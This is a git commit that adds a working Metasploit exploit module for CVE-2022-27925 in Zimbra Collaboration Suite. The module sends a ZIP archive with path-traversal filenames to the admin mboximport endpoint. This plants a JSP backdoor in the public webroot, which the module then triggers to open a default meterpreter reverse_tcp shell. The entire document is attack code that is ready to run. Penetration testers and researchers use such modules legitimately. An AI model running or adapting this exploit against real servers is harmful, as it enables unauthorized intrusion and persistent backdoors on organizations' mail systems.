Iniital import of working exploit
This commit is contained in:
@@ -0,0 +1,171 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex/zip'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Zip Path Traversal in Zimbra (mboximport) (CVE-2022-27925)',
|
||||
'Description' => %q{
|
||||
This module POSTs a ZIP file containing path traversal characters to
|
||||
the administrator interface for Zimbra Collaboration Suite. If
|
||||
successful, it plants a JSP-based backdoor in the public web
|
||||
directory, then executes that backdoor.
|
||||
|
||||
The core vulnerability is a path-traversal issue in their ZIP
|
||||
implementation that can extract an arbitrary file to an arbitrary
|
||||
location on the host.
|
||||
|
||||
This issue is exploitable on the following versions of Zimbra:
|
||||
|
||||
* Zimbra Collaboration Suite Network Edition 9.0.0 Patch 23 (and earlier)
|
||||
* Zimbra Collaboration Suite Network Edition 8.8.15 Patch 30 (and earlier)
|
||||
|
||||
Note that the Open Source Edition is not affected.
|
||||
},
|
||||
'Author' => [
|
||||
'Volexity Threat Research', # Initial writeup
|
||||
"Yang_99's Nest", # PoC
|
||||
'Ron Bowes', # Analysis / module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['CVE', '2022-27925'],
|
||||
['CVE', '2022-37042'],
|
||||
['URL', 'https://blog.zimbra.com/2022/03/new-zimbra-patches-9-0-0-patch-24-and-8-8-15-patch-31/'],
|
||||
['URL', 'https://www.cisa.gov/uscert/ncas/alerts/aa22-228a'],
|
||||
['URL', 'http://www.yang99.top/index.php/archives/82/'],
|
||||
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/P24'],
|
||||
['URL', 'https://wiki.zimbra.com/wiki/Zimbra_Releases/8.8.15/P31'],
|
||||
],
|
||||
'Platform' => 'linux',
|
||||
'Arch' => [ARCH_X86, ARCH_X64],
|
||||
'Targets' => [
|
||||
[ 'Zimbra Collaboration Suite', {} ]
|
||||
],
|
||||
'DefaultOptions' => {
|
||||
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
|
||||
'TARGET_PATH' => '../../../../../../../../../../../../opt/zimbra/jetty_base/webapps/zimbra/public/',
|
||||
'TARGET_FILENAME' => nil,
|
||||
'RPORT' => 7071,
|
||||
'RPORT_PUBLIC' => 443,
|
||||
'SSL' => true
|
||||
},
|
||||
'DefaultTarget' => 0,
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => '2022-05-10',
|
||||
'Notes' => {
|
||||
'Stability' => [CRASH_SAFE],
|
||||
'Reliability' => [REPEATABLE_SESSION],
|
||||
'SideEffects' => [IOC_IN_LOGS]
|
||||
}
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('FILENAME', [ false, 'The file name.', 'payload.rar']),
|
||||
OptString.new('TARGET_PATH', [ true, 'The location the payload should extract to (can, and should, contain path traversal characters - "../../").']),
|
||||
OptString.new('TARGET_FILENAME', [ false, 'The filename to write in the target directory; should have a .jsp extension (default: <random>.jsp).']),
|
||||
OptInt.new('RPORT_PUBLIC', [ false, 'The port used to trigger the payload (typically the main web port, as opposed to the admin port)']),
|
||||
OptString.new('TARGET_USERNAME', [ true, 'The target user, must be valid on the Zimbra server', 'admin']),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Generate an on-system filename using datastore options
|
||||
def generate_target_filename
|
||||
if datastore['TARGET_FILENAME'] && !datastore['TARGET_FILENAME'].end_with?('.jsp')
|
||||
print_Warning('TARGET_FILENAME does not end with .jsp, was that intentional?')
|
||||
end
|
||||
|
||||
File.join(datastore['TARGET_PATH'], datastore['TARGET_FILENAME'] || "#{Rex::Text.rand_text_alpha_lower(4..10)}.jsp")
|
||||
end
|
||||
|
||||
# Normalize the path traversal and figure out where it is relative to the web root
|
||||
def zimbra_get_public_path(target_filename)
|
||||
# Normalize the path
|
||||
normalized_path = Pathname.new(File.join('/opt/zimbra/log', target_filename)).cleanpath
|
||||
|
||||
# Figure out where it is, relative to the webroot
|
||||
webroot = Pathname.new('/opt/zimbra/jetty_base/webapps/zimbra/')
|
||||
relative_path = normalized_path.relative_path_from(webroot)
|
||||
|
||||
# Hopefully, we found a path from the webroot to the payload!
|
||||
if relative_path.to_s.start_with?('../')
|
||||
return nil
|
||||
end
|
||||
|
||||
relative_path
|
||||
end
|
||||
|
||||
def exploit
|
||||
print_status('Encoding the payload as a .jsp file')
|
||||
payload = Msf::Util::EXE.to_jsp(generate_payload_exe)
|
||||
|
||||
# Create a file
|
||||
target_filename = generate_target_filename
|
||||
print_status("Target filename: #{target_filename}")
|
||||
|
||||
# Create a zip file
|
||||
zip = Rex::Zip::Archive.new
|
||||
zip.add_file(target_filename, payload)
|
||||
data = zip.pack
|
||||
|
||||
print_status('Sending POST request with ZIP file')
|
||||
res = send_request_cgi(
|
||||
'method' => 'POST',
|
||||
'uri' => "/service/extension/backup/mboximport?account-name=#{datastore['TARGET_USERNAME']}&ow=1&no-switch=1&append=1",
|
||||
'data' => data
|
||||
)
|
||||
|
||||
# Check the response
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, "Could not connect to the target port (#{datastore['RPORT']})")
|
||||
elsif res.code == 404
|
||||
fail_with(Failure::NotFound, 'The target path was not found, target is probably not vulnerable')
|
||||
elsif res.code != 401
|
||||
print_warning("Unexpected response from the target (expected HTTP/401, got HTTP/#{res.code}) - exploit likely failed")
|
||||
end
|
||||
|
||||
# Get the public path for triggering the vulnerability, terminate if we
|
||||
# can't figure it out
|
||||
public_filename = zimbra_get_public_path(target_filename)
|
||||
if public_filename.nil?
|
||||
fail_with(Failure::BadConfig, 'Could not determine the public web path, maybe you need to traverse further back?')
|
||||
end
|
||||
|
||||
register_file_for_cleanup(target_filename)
|
||||
|
||||
print_status("Trying to trigger the backdoor @ #{public_filename}")
|
||||
|
||||
# We plant this backdoor via the admin port (7071), then trigger it
|
||||
# with the standard HTTPS port (443). The reason is, for whatever reason,
|
||||
# JSP files planted in the admin directory don't seem to immediately
|
||||
# be seen by Java, whereas they are in the port-443 service
|
||||
res = send_request_cgi(
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(public_filename),
|
||||
'rport' => datastore['RPORT_PUBLIC']
|
||||
)
|
||||
|
||||
if res.nil?
|
||||
fail_with(Failure::Unreachable, "Could not connect to the public port to trigger the payload (#{datastore['RPORT_PUBLIC']})")
|
||||
elsif res.code == 200
|
||||
print_good('Successfully triggered the payload')
|
||||
else
|
||||
fail_with(Failure::Unknown, "Could not connect to the server to trigger the payload: #{res}")
|
||||
end
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user